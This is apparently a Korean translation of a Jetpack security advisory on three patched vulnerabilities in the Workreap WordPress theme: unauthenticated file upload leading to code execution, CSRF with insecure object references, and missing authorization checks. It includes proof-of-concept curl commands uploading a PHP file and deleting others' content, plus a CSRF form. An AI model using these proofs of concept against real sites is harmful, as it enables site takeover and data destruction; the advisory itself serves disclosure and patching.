Amentotech의 Workreap 테마의 여러 ​​취약점

게시 됨: 2021-07-07

최근 Jetpack 팀은 호스팅된 고객 사이트 중 하나에서 감염된 파일을 발견했으며 Amentotech의 Workreap 테마로 감염 원인을 빠르게 추적했습니다. 우리는 조사를 시작했고 테마에서 여러 취약한 AJAX 엔드포인트를 발견했습니다. 이들 중 가장 심각한 것은 잠재적으로 원격 코드 실행 및 전체 사이트 탈취로 이어질 수 있는 인증되지 않은 검증되지 않은 업로드 취약점이었습니다.

Envato Helpful Hacker 프로그램을 통해 Amentotech 팀에 취약점을 보고했으며 문제는 즉시 해결되었습니다. 발견된 취약점을 수정하는 테마 버전 2.2.2가 2021년 6월 29일에 릴리스되었습니다.

TL;DR

취약점의 심각성으로 인해 Workreap 테마의 모든 사용자는 가능한 한 빨리 버전 2.2.2 이상으로 업그레이드할 것을 적극 권장합니다.

테마 웹사이트에서 업그레이드를 다운로드하여 수동으로 설치하거나 Envato 마켓 플러그인을 통해 자동으로 업그레이드하십시오.

세부

테마 이름: Workreap
테마 URI: http://amentotech.com/projects/wpworkreap
저자: 아멘토텍
저자 URI: https://themeforest.net/user/amentotech/portfolio

취약점

취약점의 심각성으로 인해 사용자에게 업그레이드 시간을 주기 위해 개념 증명 및 완전한 분석 게시를 연기합니다.

원격 코드 실행으로 이어지는 인증되지 않은 업로드

영향을 받는 버전: < 2.2.2
CVE-ID: CVE-2021-24499
CVSSv3.1: 10.0
CWE: CWE-284, CWE-641,
CWSS: 90.7
WPScan 링크: https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb

AJAX 작업 workreap_award_temp_file_uploaderworkreap_temp_file_uploader 는 nonce 검사를 수행하지 않았거나 요청이 다른 방식으로 유효한 사용자의 것인지 확인하지 않았습니다. uploads/workreap-temp 디렉토리에 임의의 파일을 업로드할 수 있는 엔드포인트. 업로드된 파일은 삭제되거나 검증되지 않았으므로 인증되지 않은 방문자가 PHP 스크립트와 같은 실행 코드를 업로드할 수 있습니다.

개념의 증거

% curl -F 'action=workreap_award_temp_file_uploader' -F [email protected] 'https://example.com/wp-admin/admin-ajax.php'
{"type":"success","message":"File uploaded!","thumbnail":"https:\/\/example.com\/wp-content\/uploads\/workreap-temp\/malicious.php","name":"malicious.php","size":"24.00 B"}

% curl 'https://example.com/wp-content/uploads/workreap-temp/malicious.php'
PWNED!

여러 CSRF + IDOR 취약점

영향을 받는 버전: < 2.2.2
CVE-ID: CVE-2021-24500
CVSSv3.1: 8.2
CWE: CWE-283, CWE-284, CWE-862
CWSS: 78.3
WPScan 링크: https://wpscan.com/vulnerability/0c4b5ecc-54d0-45ec-9f92-b2ca3cadbe56

Workreap 테마에서 사용할 수 있는 여러 AJAX 작업에는 CSRF 보호가 부족할 뿐만 아니라 유효성이 검사되지 않은 안전하지 않은 IDOR(직접 개체 참조)도 허용됩니다. 이를 통해 공격자는 로그인한 사용자가 취약한 사이트에 POST 요청을 제출하도록 속여서 대상 사이트에서 임의의 개체를 잠재적으로 수정하거나 삭제할 수 있습니다.

2.0.0 이전 버전에서 이러한 작업은 인증이 완전히 결여되어 사이트 방문자가 악용할 수 있었습니다.

개념의 증거

<form action="https:/example.com/wp-admin/admin-ajax.php" method="POST">
    <input name="action" type="hidden" value="workreap_portfolio_remove">
    <!-- note value does not have to be a portfolio, any post id will do -->
    <input name="id" type="hidden" value="1361">
    <input type="submit" value="Get rich!">
</form>

AJAX 작업에서 권한 부여 확인 누락

영향을 받는 버전: < 2.2.2
CVE-ID: CVE-2021-24501
CVSSv3.1: 7.1
CWE: CWE-283, CWE-862
CWSS: 68.5
WPScan 링크: https://wpscan.com/vulnerability/66e4aaf4-5ef7-4da8-a45c-e24f449c363e

Workreap 테마에서 사용할 수 있는 여러 AJAX 작업에는 사용자가 개체 수정 또는 삭제와 같은 중요한 작업을 수행할 권한이 있는지 확인하기 위한 권한 부여 검사가 누락되었습니다. 이를 통해 로그인한 사용자는 사이트의 다른 사용자에게 속한 개체를 수정하거나 삭제할 수 있습니다.

2.0.0 이전 버전에서 이러한 작업은 인증이 완전히 결여되어 사이트 방문자가 악용할 수 있었습니다.

개념의 증거

# log in as arbitrary freelancer
curl -c .cookies -F action=workreap_ajax_login -F username=balle -F password=hunter2 \
  https://example.com/wp-admin/admin-ajax.php
{"job":"no","type":"success","role_type":"freelancers","redirect":"https:\/\/example.com\/dashboard\/?ref=profile&mode=settings&identity=3","url":"https:\/\/example.com\/","loggedin":true,"message":"Successfully Logged in"}%                                                                                                     

# delete arbitrary portfolio
curl -s -b .cookies -F action=workreap_portfolio_remove -F id=1361 \
  https://example.com/wp-admin/admin-ajax.php
{"type":"success","message":"Portfolio removed successfully."}

타임라인

2021-06-24: Jetpack Scan 팀이 발견한 초기 업로드 취약점을 Envato Helpful Hacker 프로그램에 보고했습니다.
2021-06-25: 문서화된 추가 취약점 발견, Amentotech는 Envato를 통해 알렸습니다.
2021-06-27: 버전 2.2.1이 릴리스되어 일부 취약점이 해결되었습니다.
2021-06-29: 버전 2.2.2가 릴리스되었으며 Jetpack Scan 팀에서 수정 사항을 확인했습니다.

결론

사이트에서 사용 중인 Workreap 테마의 현재 버전을 확인하고 2.2.2 미만인 경우 가능한 한 빨리 업데이트하는 것이 좋습니다!

Jetpack에서는 이러한 유형의 취약점으로부터 웹사이트를 보호하기 위해 열심히 노력하고 있습니다. 새로운 위협에 한 발 앞서 나가려면 보안 검색 및 자동화된 맬웨어 제거가 포함된 Jetpack Scan을 확인하십시오.

크레딧

원래 연구원: Harald Eilertsen

피드백, 도움 및 수정을 위해 Jetpack Scan 팀의 나머지 팀원들에게 감사드립니다. 또한 Amentotech에 연락하는 데 도움을 준 Envato Helpful Hacker 프로그램의 kailoon과 문제를 해결하고 업데이트된 버전을 릴리스하는 데 신속한 응답을 제공한 Amentotech에 감사드립니다.